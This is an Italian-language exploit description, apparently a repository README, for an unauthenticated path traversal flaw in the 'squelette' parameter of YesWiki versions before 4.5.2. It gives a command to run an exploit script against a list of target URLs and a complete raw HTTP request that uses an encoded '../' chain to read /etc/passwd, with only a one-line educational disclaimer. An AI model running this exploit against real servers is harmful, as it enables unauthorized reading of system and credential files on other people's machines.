
YesWiki è un sistema wiki scritto in PHP. Il parametro squelette è vulnerabile ad attacchi di path traversal, consentendo l'accesso in lettura a file arbitrari sul server.
Questo è un exploit di path traversal non autenticato che colpisce le versioni di YesWiki precedenti alla 4.5.2. La vulnerabilità risiede nel parametro squelette, che consente di leggere file arbitrari dal server.
python3 exploit.py -l urls.txt

Ecco un secondo metodo per sfruttare manualmente la vulnerabilità utilizzando Burp:
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

Disclaimer: Questo è strettamente a scopo educativo.